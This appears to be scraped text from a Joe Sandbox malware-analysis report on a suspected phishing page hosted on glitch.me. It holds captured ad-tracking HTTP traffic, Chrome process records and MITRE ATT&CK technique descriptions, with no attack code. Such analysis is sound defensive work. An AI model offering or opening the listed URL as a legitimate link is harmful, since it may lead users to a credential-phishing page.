2024-05-24 22:46:52 UTC	1092	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:52 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:52 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUSFgoHc2VtYXNpbxILCIaxnN2tk_48EAUSFgoHYXpoZTI2ZxILCILinN2tk_48EAUSFgoHdmN4bHprehILCNKTnd2tk_48EAUYBSABKAMyCwie956KxJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAQ..; expires=Sat, 24 May 2025 22:46:52 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:52 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.6	50615	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:53 UTC	1469	OUT	GET /track/cmf/generic?ttd_pid=azhe26g HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUSFgoHc2VtYXNpbxILCIaxnN2tk_48EAUSFgoHYXpoZTI2ZxILCILinN2tk_48EAUSFgoHdmN4bHprehILCNKTnd2tk_48EAUYBSgDMgsInveeisST_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
2024-05-24 22:46:53 UTC	1092	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:53 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:53 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFEhYKBzZzemhpdGoSCwjUyO-zrZP-PBAFEhsKDHNoYXJldGhyb3VnaBILCML077Otk_48EAUSFgoHZXhlbGF0ZRILCJ6j8LOtk_48EAUSFgoHc2VtYXNpbxILCIaxnN2tk_48EAUSFgoHYXpoZTI2ZxILCILinN2tk_48EAUSFgoHdmN4bHprehILCNKTnd2tk_48EAUYBSABKAMyCwie956KxJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAQ..; expires=Sat, 24 May 2025 22:46:53 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:53 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.6	50617	192.132.33.68	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:55 UTC	1495	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f714db1d-357a-48e6-bac1-7b09137a8ea9%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A3%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCKCDt4evp4YDFSohBgAdDGcAEg%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D7786574454292%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D552065252%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fcontact-us.html%3F%22%2C%22fingerprint%22%3A%22% [TRUNCATED] Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:56 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:46:27 GMT; path=/; secure; SameSite=None X-ServerName: Track002-iad Date: Fri, 24 May 2024 22:46:26 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Target ID:	0
Start time:	18:45:17
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:45:19
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2244,i,9614551203222384912,9000098910614231075,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:45:21
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://delicious-decorous-army.glitch.me/public/RRENFCONL0.HTML"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:46:47
Start date:	24/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=8360 --field-trial-handle=2244,i,9614551203222384912,9000098910614231075,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://delicious-decorous-army.glitch.me/public/RRENFCONL0.HTML

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 192

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 200

Chrome Cache Entry: 201

Chrome Cache Entry: 202

Chrome Cache Entry: 203

Chrome Cache Entry: 204

Chrome Cache Entry: 205

Chrome Cache Entry: 206

Chrome Cache Entry: 207

Chrome Cache Entry: 208

Chrome Cache Entry: 209

Chrome Cache Entry: 210

Chrome Cache Entry: 211

Chrome Cache Entry: 212

Chrome Cache Entry: 213

Chrome Cache Entry: 214

Chrome Cache Entry: 215

Chrome Cache Entry: 216

Windows Analysis Report
http://delicious-decorous-army.glitch.me/public/RRENFCONL0.HTML